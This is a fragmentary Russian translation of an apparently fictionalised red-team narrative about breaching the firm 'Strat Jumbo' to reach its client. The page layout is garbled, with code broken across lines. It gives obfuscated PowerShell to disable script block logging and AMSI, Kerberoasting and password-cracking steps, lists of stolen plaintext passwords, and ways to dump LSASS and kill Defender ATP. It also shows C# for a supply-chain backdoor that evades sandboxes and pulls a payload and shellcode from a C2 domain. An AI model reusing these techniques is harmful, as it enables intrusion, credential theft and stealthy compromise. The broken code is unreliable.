Далее следовала фаза ручной разведки. Мы можем исключить
из расчета все локальные команды типа “ipconfig”, “net
localgroup”, поскольку это нативные команды, которые не
отправляют никакого трафика и как правило не помечаются
средствами обеспечения безопасности (Windows Defender в данном
случае).
Перевод
@Ianuaria
skladchik.com
Хотя это и совершенно легитимный способ взаимодействия с
системой, факт в том, что SAMR редко используется в реальных
окружениях. Большая часть middleware и приложений обычно
запрашивают информацию от DC при помощи более
распространенного протокола LDAP.
Перевод
@Ianuaria
skladchik.com
$shares = Get-NetShare -HostName $server
[...]
Перевод
@Ianuaria
skladchik.com
Уже понимаете, к чему я веду? Нам достаточно повезло, и мы
смогли получить учетные данные пользователей и информацию по
группам перед тем, как нас выкинули из сети.
53
https://docs.microsoft.com/en-us/advanced-threat-analytics/what-is-ata
54
https://www.ibm.com/us-en/marketplace/ibm-qradar-siem
Перевод
@Ianuaria
skladchik.com
● Множественные нарушения доступа на чтение на конкретной
машине.
● Сканирование портов (множество запросов на порты одной
или различных машин).
● Изменение локальных или глобальных привилегированных
групп (администраторы домена, администраторы и т.д.).
● Кража учетных данных, отслеживается поиском событий,
связанных с манипуляцией с LSASS (ID событий 4614, 4610,
4611и 4622).
● И прочее.
55
https://docs.microsoft.com/en-us/advanced-threat-analytics/what-is-ata
Перевод
@Ianuaria
skladchik.com
Ее анализ основан на двух основных логиках: поведенческий
анализ и сигнатуры популярных атак.
56
http://www.labofapenetrationtester.com/2017/08/week-of-evading-microsoft-ata-day5.html
Перевод
@Ianuaria
skladchik.com
● Запрошен доступ с 5 аномальных ресурсов.
Перевод
@Ianuaria
skladchik.com
Одно ясно совершенно точно: атака на Strat Jumbo для
проникновения в G&S Trust не является быстрым и простым путем,
на который мы рассчитывали...
Перевод
@Ianuaria
skladchik.com
Обратно на арену
“Смерть улыбается нам всем,
всё, что мы можем сделать -
это улыбнуться ей в ответ”
Марк Аврелий (“Гладиатор”)
Перевод
@Ianuaria
skladchik.com
Возвращаемся в самое начало. Что ж, не совсем. У нас теперь
есть гораздо более хорошее представление о безопасности Strat
Jumbo и это имеет большое значение. Мы знаем многое о
некоторых ловушках, тщательно расставленных для отлова попыток
вторжения, и мы лучше экипированы, чтобы избежать их.
Перевод
@Ianuaria
skladchik.com
все команды, выполняемые в тестовой лабе, будут снабжены
соответствующим комментарием.
● 35 недействительных паролей.
● Информация по различным внутренним компонентам:
Windows AD, политика аудита, группы, пользователи и так
далее.
● Основательная предварительная оценка возможностей
мониторинга Strat Jumbo.
Перевод
@Ianuaria
skladchik.com
● 2 пароля заканчиваются специальным символом, за которым
следует буква: BrotherArms_C, WishYouHere*A и т.д.
● 2 пароля содержат название текущего месяца:
Jumbo12March_, MarchStrat%,
Совпадение? Не думаю.
Простая физика.
57
Ознакомьтесь с обновленными руководствами NIST по политике паролей:
https://auth0.com/blog/dont-pass-on-the-new-nist-password-guidelines/
Перевод
@Ianuaria
skladchik.com
неплохой шанс, что некоторые пользователи попросту перешли к
следующему паролю по своему списку.
Перевод
@Ianuaria
skladchik.com
Некоторые назвали бы это счастливой случайностью, я
называю это грамотным подбором. Нам нужно было найти как
минимум пару учетных записей, которые придерживаются
собственного повторяющегося паттерна. Люди часто создают
особую связь между своими паролями.
58
https://blogs.msdn.microsoft.com/powershell/2017/11/02/powershell-constrained-language-mode/
Перевод
@Ianuaria
skladchik.com
● Логирование блоков скриптов: любая PowerShell-команда или
скрипт могут быть занесены в своем нешифрованном,
необфусцированном виде в Диспетчер событий (событие
4101).
● Системное транскрибирование позволяет логировать текст,
набираемый в консоли, а также выходные данные команд. Это
удобная наблюдательная возможность для участников Blue
Team (защитников).
● Фильтр AMSI, который перехватывает каждую команду или
файл, исполняемый через стандартные механизмы
выполнения сценариев (JScript, PowerShell и VBScript).
Антивирус может подключаться к AMSI и решать, блокировать
команду или нет. Это заносит антивирусные продукты в
область сканирования и защиты памяти59, поскольку AMSI
работает на уровне этих механизмов, независимо от
источника команды (скрипт на диске или команда в памяти).
59
На текущий момент только Windows Defender, ESET, AVAST и AVG поддерживают AMSI.
Перевод
@Ianuaria
skladchik.com
По умолчанию, файлы транскрипции хранятся в личной папке
пользователя, но администраторы могут (и должны) хранить их на
отдельном и защищенном сетевом ресурсе.
****
60
https://blogs.msdn.microsoft.com/powershell/2015/06/09/powershell-the-blue-team/
61
Декомпиляцию бинарников .NET можно выполнить через .NET Reflector
https://www.redgate.com/products/dotnet-development/reflector/
Перевод
@Ianuaria
skladchik.com
Можем ли мы прочитать это пространство памяти и обойти
правила объектно-ориентированного программирования (ООП),
которые утверждают, что нельзя получить доступ к приватным
переменным за пределами их классов? Да - и да!
Перевод
@Ianuaria
skladchik.com
Во время выполнения MSIL-код компилируется на лету в
машинный код при помощи Windows CLR (общеязыковая
исполняющая среда). Идея очень похожа на байт-код Java.
http://www.phrack.org/papers/dotnet_instrumentation.html
****
Перевод
@Ianuaria
skladchik.com
Отражение, однако, автоматически предоставляет нам
акцессоры и сеттеры, неважно, определил ли их класс или нет,
поскольку мы можем просто прочитать метаданные сборки и
установить местонахождение членов и свойств, которые мы хотим
получить и изменить. Так что, повторяйте за мной: Отражение -
великолепная штука!
[System.Management.Automation.PSReference] можно с
[Ref]:
удобством сократить как
Перевод
@Ianuaria
skladchik.com
Далее, мы вызываем функцию GetType, которая, благодаря
Отражению, получает дескриптор на внутренний класс Utils:
62
Хорошая подборка различных способов доступа ко внутренним ресурсам .NET при помощи
Отражения находится по следующей ссылке:
https://blog.netspi.com/using-powershell-and-reflection-api-to-invoke-methods-from-net-assemblies/
Перевод
@Ianuaria
skladchik.com
используя метод GetValue. Помните, что функции типа GetValue,
GetTypeи GetFieldработают только из-за Отражения:
63
Каждый раз, когда мы выполняем команду с параметром -ScriptBlock (invoke-command
-scriptblock, start-job -scriptblock и тому подобные), нам нужно сначала выполнить обход
логирования блоков скриптов, поскольку инициируется новый сеанс PowerShell.
Перевод
@Ianuaria
skladchik.com
Обратите внимание, что в отличие от других событий 4104,
которые были классифицированы просто как “Verbose”, событие,
содержащее обход логирования блоков скриптов, было помечено
Warning”.
как “
Перевод
@Ianuaria
skladchik.com
Поскольку это всего лишь сравнение, основанное на строках,
мы можем обойти его при помощи определенной умной
обфускации.
● GetField
● NonPublic
● ScriptBlockLogging
$GPF =
[ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroup
'No'+'nPublic,Static')
PolicySettings',
$GPS = $GPF.GetValue($null)
'Scri'+'ptBlockLogging']['EnableScriptBlockLogging'] = 0
$ GPS [
Перевод
@Ianuaria
skladchik.com
Вы будете удивлены гибкостью, предоставляемой
синтаксисом PowerShell. Вызов метода может быть заключен в
двойные или одинарные кавычки и при этом будет нормально
работать:
[...]."GetField"('cachedGroupPolicySettings', 'No'+'nPublic,Static')
[...]."Ge"+"tField"('cachedGroupPolicySettings', No'+'nPublic,Static')
"Ge"+"tF`ield"('cachedGroupPolicySettings', 'No'+'nPublic,Static')
[...].
"Ge"+"t`F`ield"
[...]. 'No'+'nPublic,Static')
('cachedGroupPolicySettings',
Перевод
@Ianuaria
skladchik.com
$GPF =
[ref].Assembly.GetType('System.Management.Automation.Utils')."GetF`I
eld"
('cachedGroupPolicySettings', 'NonP'+'ublic,Static')
$GPS = $GPF.GetValue($null)
$GPS['Script'+'BlockLogging']['EnableS'+'criptBlockLogging'] = 0
$GPS['Sc'+'riptBlockLog'+'ging']
['En'+'ableScriptBlockInvoca'+'tionLoggi'+'ng'] = 0
64
Каждый новый блок скриптов, использующий Invoke-Command, Start-Job и похожие команды,
должен включать этот обход.
Перевод
@Ianuaria
skladchik.com
На некоторых Windows-машинах ключ словаря
EnableScriptBlockLogging не может быть найден в
cachedGroupPolicySettings, даже если логирование блоков
скриптов включено - что делает вышеуказанный обход
бесполезным. Чтобы в любом случае развести Windows на
отключение логирования, мы попросту создаем недостающий ключ
и затем присваиваем ему значение 0, как и обычно.
$GPF =
[ref].Assembly.GetType('System.Management.Automation.Utils')."GetF`Ield"
('cachedGroupPolicySettings', 'NonP'+'ublic,Static')
$GPS = $GPF.GetValue($null)
# Наполнить словарь
$val.Add('EnableScriptB'+'lockLogging', 0)
$val.Add('EnableScriptB'+'lockInvocationLogging', 0)
$GPS['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'
lockLogging']
= $val
****
Перевод
@Ianuaria
skladchik.com
Мы сделали глоток из фонтана истины - и ее вкус горек. Мы
знаем, что над нашими головами навис Дамоклов меч в виде ATA и
QRadar. Один непонятный пакет или противоречивое сетевое
поведение, и мы будем выброшены снова - вероятно, уже навсегда
в этот раз.
Русская рулетка
Перевод
@Ianuaria
skladchik.com
Очевидно, что работа напрямую с классом adsisearcher для
запроса объектов LDAP может стать проблематичным занятием,
вот почему мы так сильно любим PowerView (большая часть
функций Get-Net*, если не все, работают с LDAP). Нам нужно лишь
не забыть отключить логирование блоков скриптов перед тем, как
PowerViewв память и запустить команды:
снова загрузить
**Примечание**
****
Перевод
@Ianuaria
skladchik.com
Информация, которую мы не потрудились собрать ранее, это
список машин, объявленных в Active Directory. Давайте сделаем это
прямо сейчас, почему нет:
Перевод
@Ianuaria
skladchik.com
Все службы и приложения, работающие на серверах Windows,
которые желают поддерживать протокол Kerberos для
аутентификации пользователей, должны объявлять уникальные
имена участников-служб (SPN) в DC. Можете считать это
уникальным идентификатором службы.
65
https://docs.microsoft.com/ru-ru/sql/database-engine/configure-windows/register-a-service-principal-n
ame-for-kerberos-connections?view=sql-server-2017
66
Подробнее об этом: https://adsecurity.org/?p=1508
Перевод
@Ianuaria
skladchik.com
Другое ограничение, которое нужно иметь ввиду, это сетевая
фильтрация. Мы можем заметить, что STRAT-AK-03 хостит базу
данных SQL server на порту 1433, но нет никаких гарантий, что мы
действительно сможем достичь этой БД с нашего сервера Citrix (по
факту, в данном случае, мы не можем получить к ней доступ).
67
https://gallery.technet.microsoft.com/List-all-SPNs-Used-in-your-e0c6267a
Перевод
@Ianuaria
skladchik.com
STRAT-CI-03 - это, скорее всего, база данных Citrix, учитывая
сходство имени с XenApp-сервером, на котором мы в данный
момент находимся (STRAT-CI-01). Этот вывод далее подкрепляется
тем фактом, что STRAT-CI-03 - это единственная база данных,
которой мы можем достичь из нашего текущего сегмента сети:
Перевод
@Ianuaria
skladchik.com
● Пользователь шифрует текущую временную метку хешем
своего пароля и отправляют ее на контроллер домена.
● DC дешифрует временную метку, используя хеш, хранящийся
в Active Directory, и проверяет, попадает ли она в
десятиминутный диапазон. Затем он отправляет обратно блок
шифрованных данных - билет на получение билетов (TGT) -
который содержит идентификационные данные пользователя
и его привилегии. Только DC может дешифровать и прочитать
TGT.
● Далее, пользователь, который хочет получить доступ к
веб-службе, базе данных или любой другой службе в домене,
связывается с DC еще раз и вслепую отправляет ему TGT
вместе с именем нужной службы. DC проверяет аутентичность
TGT и отправляет обратно билет на предоставление доступа к
службе (TGS), который является зашифрованным блоком
данных, содержащим идентификационные данные
пользователя. Билет TGS может быть прочитан только
целевым сервисом.
● Пользователь вслепую перенаправляет TGS в адрес целевой
службы, которая дешифрует данные, получает
идентификационные данные пользователя и предоставляет
ему доступ.
Перевод
@Ianuaria
skladchik.com
действительности доступ к службе или нет. KDC это не волнует, он
лишь распространяет блоки данных.
http://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/.
Перевод
@Ianuaria
skladchik.com
$krb5tgs$23$*sqlexpress$stratjumbo.lan$MSSQLSvc/strat-CI-
03:14488*$876E348CCEF78F424FEA4DE72...
$krb5tgs$23$*sqlexpress2$stratjumbo.lan$MSSQLSvc/strat-AK-
03:1433*$188A113BDCA92CF63DBC4699...
$krb5tgs$23$*sqlexpress_fs$stratjumbo.lan$MSSQLSvc/strat-AK-
01:1433*$188A113BDCA92CF63DBC4699...
$krb5tgs$23$*sql_dev$stratjumbo.lan$MSSQLSvc/strat-AK-
03:14332*$188A113BDCA92CF63DBC4699…
68
https://hashcat.net/wiki/doku.php?id=hashcat
Перевод
@Ianuaria
skladchik.com
Нам нужно оптимизировать эту офлайновую брутфорс-атаку
до максимума!
69
https://www.buybitcoinworldwide.com/mining/hardware/
Перевод
@Ianuaria
skladchik.com
По состоянию на 2018 год, Nvidia GTX 1080 Ti70, вероятно,
является одной из лучших графических карт для взлома паролей.
Ниже представлены оценки производительности при работе
Hashcat на одной карте GTX 1080 Ti71:
[...]
Hashtype: MD5
Speed.Dev.#1.....: 30963.5 MH/s (55.28ms)
[...]
https://www.amazon.com/s/ref=nb_sb_noss?url=search-alias%3Daps&field-keywords=GTX+1080+Ti
71
https://gist.github.com/epixoip/973da7352f4cc005746c627527e4d073
Перевод
@Ianuaria
skladchik.com
Kerberos с использованием популярных графических карт, чтобы вы
получили представление об этом72:
● 1× Tesla K80:
31.5 MH/s
● 1× Tesla M60: 141.6 MH/s
● 1× GTX 1080: 291.4 MH/s
● 1× GTX 1080 Ti: 413.8 MH/s
● 1× Tesla V100: 1008.4 MH/s
72
Больше информации: https://www.michalspacek.com/cracking-passwords-from-the-mall.cz-dump
Перевод
@Ianuaria
skladchik.com
● Запредельная производительность: аренда инстанса 16xP3 на
Amazon AWS (8x Tesla V100) за $24/час ( ~ $576 за 24 часа) –
8067 MH/s
Перевод
@Ianuaria
skladchik.com
Есть множество тематических словарей в интернете, но один
из наиболее полных и разносторонних - это словарь, выпускаемый
сайтом crackstation.net73, порядка 1,4 млрд. вариантов, включая
слова, извлеченные из Википедии, проекта Gutenberg и так далее.
Это отличный источник входных данных, который охватывает
различные тематики.
https://github.com/HackLikeAPornstar/StratJumbo/blob/master/chap3/wo
rdcollector.py
73
https://crackstation.net/buy-crackstation-wordlist-password-cracking-dictionary.htm
Перевод
@Ianuaria
skladchik.com
Огромное количество людей состязались в создании самых
лучших и наиболее эффективных правил, чтобы покрыть как
тривиальные, так и запутанные комбинации, от популярных наборов
правил от KoreLogic74 до рандомных репозиториев на Github.75
74
http://contest-2010.korelogic.com/rules-hashcat.html
75
https://github.com/praetorian-inc/Hob0Rules
76
https://github.com/hashcat/hashcat/blob/master/rules/rockyou-30000.rule
77
https://github.com/HackLikeAPornstar/StratJumbo/blob/master/chap3/corporate.rule
Перевод
@Ianuaria
skladchik.com
Применение этого набора правил для 1000 вариантов
вырабатывает 34 миллиона паролей, что может показаться крупной
цифрой, но наша платформа (248 MH/s) проработает это
пространство ключей примерно за одну десятую секунды (0,13 сек.).
Перевод
@Ianuaria
skladchik.com
В конце концов, это реальные пароли, которые, возможно,
соответствовали схожим правилам сложности паролей.
Долгожданная свобода
78
https://hashes.org/leaks.php
79
https://github.com/berzerk0/Probable-Wordlists/tree/master/Real-Passwords
Перевод
@Ianuaria
skladchik.com
Strat Jumbo, нам сложно удержаться от проверки этой учетной
записи применительно к базе данных Citrix. Но попридержите коней!
Открытие нового интерактивного сеанса (RDP или SQL) на
случайном сервере не будет простым, особенно с подстерегающим
ATA.
Перевод
@Ianuaria
skladchik.com
https://gist.githubusercontent.com/jourdant/e9fa625fec54deb1a31f8e441
157fc9f/raw/20cca64e2909033a778c5b56f9040915708de237/sql_cmdle
ts.psm1
Перевод
@Ianuaria
skladchik.com
Подумать только! Sqlexpress является членом группы
локальных администраторов на сервере STRAT-CI-03! Это первый
сервер в сети Strat Jumbo, который мы по-настоящему заовнили!
Перевод
@Ianuaria
skladchik.com
TYWIN tara.tomora...
BAELISH elise.first, anya.ivanova...
TORMUND ron.bilius, richard.darwin, david.stuart...
ARYA laura.stevens, monica.fourb...
Перевод
@Ianuaria
skladchik.com
В следующий раз, когда Citrix_srv подключится к серверу,
ее пароль будет сохранен в обратимом формате, после чего
Mimikatzсможет легко дешифровать его.
80
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1
Перевод
@Ianuaria
skladchik.com
AMSI - это механизм, который перехватывает скриптовые
команды прямо перед их выполнением и отправляет их антивирусу
на анализ. Не важно, загружен ли скрипт с диска, реестра или из
памяти, поскольку AMSI действует на уровне скриптового движка
(WMF). Это также означает, что классические техники обфускации,
типа base64 и шифрования во время выполнения, смогут помочь
лишь в ограниченном объеме. Все зависит от модели сигнатур
нижележащего антивируса.
https://github.com/samratashok/nishang/blob/master/Bypass/Invoke-Am
siBypass.ps1
81
https://twitter.com/mattifestation/status/735261176745988096?lang=en
Перевод
@Ianuaria
skladchik.com
этой переменной на True, то сможем успешно отключить AMSI на
весь остаток сеанса PowerShell. Самый приятный момент в том, что
для этого трюка не требуются администраторские привилегии:
https://www.blackhillsinfosec.com/bypass-anti-virus-run-mimikatz/
82
Интересная альтернатива, использованная проектом InsecurePowerShell: забросить
фейковую amsi.dll в папку с исполняемым файлом PowerShell и таким образом угнать процесс
загрузки:
http://cn33liz.blogspot.fr/2016/05/bypassing-amsi-using-powershell-5-dll.html
Перевод
@Ianuaria
skladchik.com
Если объединить код обхода логирования блоков скриптов,
AMSI и новый скрипт Invoke-Wee, результат будет выглядеть
примерно так:
Перевод
@Ianuaria
skladchik.com
Стандартный способ удаленного запуска этого скрипта в базе
данных: сначала закодировать его в base64, затем запустить его
через xp_cmdshellпри помощи следующей команды:
закодированный_скрипт
EXEC xp_cmdshell "powershell.exe -enc < >"
Перевод
@Ianuaria
skladchik.com
Далее дело будет лишь за получением этой переменной от
PowerShell и выполнением ее содержимого при помощи менее
подозрительного переключателя “-command”:
Перевод
@Ianuaria
skladchik.com
У нас целая кладезь новых приложений, доступных в этом
новом сеансе, начиная от RDP (сеанс удаленного рабочего стола) и
заканчивая файловым менеджером.
Перевод
@Ianuaria
skladchik.com
Пришлось потратить достаточно времени, чтобы очутиться
здесь, но мы наконец начали овнить какие-то учетные записи! Мы
перезапускаем Mimikatz еще несколько раз в течение
последующих нескольких часов, чтобы понемногу наполнить все
наши группы разработчиков:
SNOW Jack.bosa/Spa98row!%
YGRITTE Lizzie.dutch/Holi_day_213
CERSEI Mozzie.caffrey/12Drumbeat!
Lucilla.silvy/Greyjoy*1
DAENERYS Cassini.morini/Dragons*fire
TORMUND Ron.bilius/AkRiV€ra9
Richard.darwin/Greatest-Show-
3ver!
ARYA Laura.stevens/5YadorChan09
Monica.fourb/WishYouHere*B
**Примечание по ATA**
https://www.blackhat.com/docs/us-17/thursday/us-17-Mittal-Evading-Mic
rosoftATA-for-ActiveDirectory-Domination.pdf
****
Разгром машин
Перевод
@Ianuaria
skladchik.com
В то время, как компании обычно размещают приложения
Citrix на серверах, виртуальные рабочие столы или XenDesktop
работают на общих рабочих столах Windows, чтобы воспроизвести
стандартные возможности рабочего стола:
Перевод
@Ianuaria
skladchik.com
Однако, перед тем, как включить режим коммандо на этой
машине, на собственном горьком опыте мы научены сначала
уделить время и выполнить определенные легкие
разведывательные действия. Как ни крути, это наш первый десктоп
с Windows в окружении Strat Jumbo.
Перевод
@Ianuaria
skladchik.com
Все началось с Windows 10 Threshold летом 2015 года, сборка
1507. Затем, несколькими месяцами позже, вышла в свет Windows
10 Threshold 2, номер сборки 1511.
****
83
https://docs.microsoft.com/ru-ru/windows/windows-10/release-information
84
https://docs.microsoft.com/ru-ru/windows/security/threat-protection/windows-defender-atp/windows-de
fender-advanced-threat-protection
Перевод
@Ianuaria
skladchik.com
мы, скорее всего, смогли бы получить на серверах, подождав еще
несколько дней - но давайте в этот раз добавим немного
сумасшествия и примем вызов!
**Примечание**
Спасибо Microsoft за то, что позволяют исследователям
безопасности скачивать и тестировать их продукты.
****
85
https://www.microsoft.com/ru-ru/windowsforbusiness/windows-atp
Перевод
@Ianuaria
skladchik.com
Что интересно, он не перехватил подозрительный доступ к
памяти LSASS, и толком не отметил команды, мы видим это на
скриншоте выше.
Перевод
@Ianuaria
skladchik.com
Этот последний тест ясно демонстрирует, что как минимум
определенная часть алгоритма обнаружения основывается на
известных подозрительных паттернах строк. При иных
обстоятельствах, не важно, какой пейлоад используется, алгоритм
должен суметь сообщить, когда отключается AMSI.
Перевод
@Ianuaria
skladchik.com
имеет крайне мало гарантий. Поэтому давайте выработаем способ
полного обхода этого ПО, окей?
86
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1
Перевод
@Ianuaria
skladchik.com
Начинаем с включения провайдера WDigest на XenDesktop,
чтобы сохранить будущие пароли в обратимом формате.
**Совет**
C:\> tsdiscon 2
****
Lsass,
Возвращаемся через пару часов, чтобы собрать образ
используя диспетчер задач, как было показано ранее. Чтобы
извлечь секреты из файла с дампом, мы загружаем его в
Mimikatz,
работающий на похожей машине в нашем лабораторном окружении
(то есть, Windows 10 или Server 2016 64-бит).
Перевод
@Ianuaria
skladchik.com
Вот так это делается! Мы наконец покрываем все группы
разработчиков Strat Jumbo:
SNOW Jack.bosa/Spa98row!%
YGRITTE Lizzie.dutch/Holi_day_213
CERSEI Mozzie.caffrey/12Drumbeat!
Lucilla.silvy/Greyjoy*1
TYRION Neil.strauss/Va12Crav!
Barry.lois/Away_speed!!
DAENERYS Cassini.morini/Dragons*fire
TYWIN Tara.tomora/Checkme$
BAELISH Elise.first/Foryou09
Anya.ivanova/ Monet-#
TORMUND Ron.bilius/AkRiV€ra9
Richard.darwin/Greatest-Show-
3ver!
ARYA Laura.stevens/5YadorChan09
Monica.fourb/WishYouHere*B
Перевод
@Ianuaria
skladchik.com
По большому счету, мы закончили с этой рабочей станцией.
Мы зашли внутрь, обошли обнаружение и получили пароли в
открытом тексте.
Поэтому, перед тем, как закрыть эту главу про ATP, давайте
раз и навсегда решим непосредственную проблему - сам ATP!
Перевод
@Ianuaria
skladchik.com
Однако, остановка этих служб и связанных с ними процессов
не является простой задачей, как вы могли бы ожидать, даже при
наличии привилегий локального администратора.
87
https://twitter.com/tiraniddo/status/799766456695214080
Перевод
@Ianuaria
skladchik.com
Защита служб - это средство безопасности, внедренное
начиная с Windows 8.1 для защиты некоторых процессов в режиме
пользователя от определенных атак, даже когда они выполняются
через учетную запись администратора, типа внедрения в процесс,
манипуляции с памятью, завершения процесса и так далее.
88
http://ww.alex-ionescu.com/?p=116
89
https://www.digicert.com/order/order-1.php
90
https://github.com/Mattiwatti/PPLKiller/blob/master/PPLKiller/main.cpp
Перевод
@Ianuaria
skladchik.com
К счастью, есть другой, более тихий и надежный путь.
Перевод
@Ianuaria
skladchik.com
path TrustedInstaller на запуск командной строки, которая
автоматически остановит службу Sense, относящуюся к ATP:
Перевод
@Ianuaria
skladchik.com
Есть множество способов добиться этого. У Mimikatz есть
модуль для манипуляций с токенами, в проекте Empire есть скрипт
Invoke-TokenManipulation.ps1, Meterpreter загружает версию
Incognito в память. Однако, все эти инструменты являются хорошо
известными фреймворками для атак, и если только мы не применим
сильную обфускацию (которая может не всегда сработать), ATP
перехватит их достаточно точно:
91
https://github.com/google/sandbox-attacksurface-analysis-tools/
92
Вам понадобится VisualStudio для простой компиляции модулей:
https://www.visualstudio.com/vs/express/
Перевод
@Ianuaria
skladchik.com
На выходе получаем две .NET DLL с названиями
NtObjectManager.dll и NtApiDotNet.dll, которые содержат все,
что нам нужно для олицетворения TrustedInstaller.exe.
Перевод
@Ianuaria
skladchik.com
PowerShell-скрипта, таким образом получаем доступ ко множеству
их классных небольших функций для манипуляции объектами .NET:
Перевод
@Ianuaria
skladchik.com
Далее, мы запускаем процесс TrustedInstaller и получаем
дескриптор процесса, используя Get-NtProcess:
Перевод
@Ianuaria
skladchik.com
Мы подгружаем эту конфигурацию в функцию CreateProcess
и успешно порождаем новый интерпретатор командной строки,
содержащий удостоверение TrustedInstaller!
Перевод
@Ianuaria
skladchik.com
Наконец-то! До свидания, Windows ATP. Это было весело!
**Совет 1**
****
Перевод
@Ianuaria
skladchik.com
**Совет 2**
Securitycenter.windows.com, winatp-gw-cus.microsoft.com,
winatpgw-eus.microsoft.com, winatp-gw-weu.microsoft.com,
winatp-gwneu.microsoft.com, us.vortex-win.data.microsoft.com,
eu.vortexwin.data.microsoft.com, psapp.microsoft.com,
psappeu.microsoft.com
****
Совершенствование бэкдора
Перевод
@Ianuaria
skladchik.com
Вместо ручного парсинга этих ссылок через веб-интерфейс,
мы извлекаем полную базу данных, хранящую эти URL, которая
находится в:
“C:\Users\Jack\AppData\Roaming\Mozilla\Firefox\Profiles\
<Random_string>.default\places.sqlite”.
93
http://sqlitebrowser.org/
Перевод
@Ianuaria
skladchik.com
особенно полезен, поскольку он содержит исчерпывающие детали о
внутренней организации, кодовых именах проектов, практиках
программирования и потоке работ по подтверждению соответствия,
через который проходят новые внедряемые возможности перед их
отправкой клиентам.
Перевод
@Ianuaria
skladchik.com
Программисты поделены на две основные команды: те, что
пишут код, и те, что его проверяют. Первые внедряют новые
функции и тестируют их на серверах разработки, чтобы убедиться,
что продукт работает без проблем.
Перевод
@Ianuaria
skladchik.com
Это одновременно и удача, и несчастье, в зависимости от
того, под каким углом посмотреть. С одной стороны, мы можем
легко установить местонахождение ветви, выделенной для G&S
Trust, и таким образом ограничить наш бэкдор одной целью - лишь
этой конкретной компанией.
Перевод
@Ianuaria
skladchik.com
Мы могли бы задним числом полностью отключить
логирование или подделать логи активности, но это приведет
скорее к серьезному расследованию, чем задержит его.
Перевод
@Ianuaria
skladchik.com
регулярную активность, мы могли бы легко закинуть тайком наш код
в него, оставаясь незамеченными. Возможно, куда-то на этапе
инициализации GUI, к примеру, чтобы бэкдор пришел в действие
сразу же, как только пользователь загружает меню в первый раз:
Перевод
@Ianuaria
skladchik.com
Когда/если мы захотим завершить работу бэкдора, нам нужно
лишь создать этот ключ реестра и таким образом предотвратить
последующие запуски.
**Примечание**
****
Перевод
@Ianuaria
skladchik.com
{
return true;
}
}
return false;
}
Перевод
@Ianuaria
skladchik.com
со стороны программистов с дурным настроением в
послеобеденное время пятницы. Если мы в дальнейшем пометим
свой код комментарием “важное исправление по заданию #9812301”
или “запрос клиента №19823124”, так будет даже лучше.
// Остальной код
// [...]
// Проверка окружения перед запуском логики бэкдора
if (Valid_environment())
Custom_shape();
static private bool Custom_shape(){
// Предыдущий код для проверки ключа реестра
if (Valid_launch())
Custom_shape_ui();
}
Перевод
@Ianuaria
skladchik.com
компьютере G&S Trust? Ответ достаточно простой - мы сделаем
так, чтобы он спрашивал это у самого компьютера.
Перевод
@Ianuaria
skladchik.com
учитывает все возможные сценарии. Что если Strat Jumbo имеет
доступ к машинам G&S Trust для тестирования их кода перед его
доставкой? Что если G&S Trust тестируют их код в имитационном,
замкнутом окружении перед его развертыванием? Вариантов
бесконечное множество.
94
KVM используется в Google Cloud, AWS, Azure и у большинства облачных провайдеров.
95
Интересный обзор техник уклонения от песочниц:
https://www.first.org/resources/papers/conf2017/Countering-Innovative-Sandbox-Evasion-Techniques
-Used-by-Malware.pdf
Перевод
@Ianuaria
skladchik.com
Однако, те же самые команды, запущенные на
виртуализированном компьютере, вернут общие выходные данные,
типа “(Стандартные типы мониторов)” или пустую строку. Это
предоставляет нам вторую проверку валидности (помимо поиска
названия компании), опять же, с использованием Windows
Management Instrumentation.
if (manu.Contains("standard"
) || manu.Contains( ) || manu ==
"types" "" ||
manu.Contains("generic"))
return false;
}
)96 || name.Contains(
if (name.Contains("mwa" "ualb"
) ||
name.Contains("basic") || name.Contains("adapter"
))
return false;
}
96
Чтобы избежать привлечения внимания аналитика кода, мы ищем строку “ualb” вместо
“virtualbox”. Тоже самое с “mwa”, что соответствует vmware.
Перевод
@Ianuaria
skladchik.com
return true;
}
Перевод
@Ianuaria
skladchik.com
Включение этого пейлоада в неизменном виде в исходный код
Strat Jumbo очевидно привлечет ненужное внимание. Чтобы
спрятать этот набор невнятных данных, мы разместим
base64-закодированную команду на нашем C2-сервере (имя файла
readme.txt), загрузим файл на лету из кода Strat Accounting, а затем
добавим его содержимое в качестве аргумента в исполняемый
файл PowerShell.
// [...]
// Проверка, работаем ли на физическом лаптопе перед тем, как привести в
действие бэкдор
if (Valid_environment())
Custom_shape();
// Подготовить WebClient
WebClient myWebClient = new WebClient();
Перевод
@Ianuaria
skladchik.com
// Блок с Try и Catch для избежания возникновения ошибок при обрыве
соединения
try {
mystring =
myWebClient.DownloadString( "https://reporting.stratjumbo.co.au
/readme.txt");
} catch(WebException e){ }
// Окончание custom_shape_ui()
}
https://github.com/HackLikeAPornstar/StratJumbo/blob/master/chap3/ps
_backdoor.cs
Перевод
@Ianuaria
skladchik.com
При том, что я являюсь горячим приверженцем проекта
PowerShell Empire, я не хочу оставлять в стороне великолепный
Metasploit Framework97 - несмотря на то, что есть множество
руководств, книг и статей, которые представляют его как хакерский
инструмент для использования при любых обстоятельствах… Это
не так.
97
ttps://www.metasploit.com/download
h
98
Список пейлоадов, которые мы можем сгенерировать при помощи msfvenom:
https://netsec.ws/?p=331
Перевод
@Ianuaria
skladchik.com
Accounting до того, как мы получим шанс вручную мигрировать в
другой процесс:
using System.Threading.Tasks;
using System.Runtime.InteropServices;
// [...]
99
https://github.com/Arno0x/CSharpScripts/blob/master/shellcodeLauncher.cs
Перевод
@Ianuaria
skladchik.com
MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
Перевод
@Ianuaria
skladchik.com
// Импорт функции WaitForSingleObject из Kernel32.dll
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
https://github.com/HackLikeAPornstar/StratJumbo/blob/master/chap3/ms
f_backdoor.cs
Перевод
@Ianuaria
skladchik.com
Компиляция этого кода в независимый исполняемый файл
.NET также проста, как вызов исполняемого файла CSC в Windows:
using System.Net;
using System.Reflection;
//[...]
try {
Перевод
@Ianuaria
skladchik.com
myDataBuffer =
myWebClient.DownloadData("https://reporting.stratjumbo.co.au/h
ealthcheck" );
} catch
(WebException e){ }
// Загрузить байты с C2-домена
// Если загрузка успешная
if (myDataBuffer!= null) {
// Рефлективно загрузить ее в память
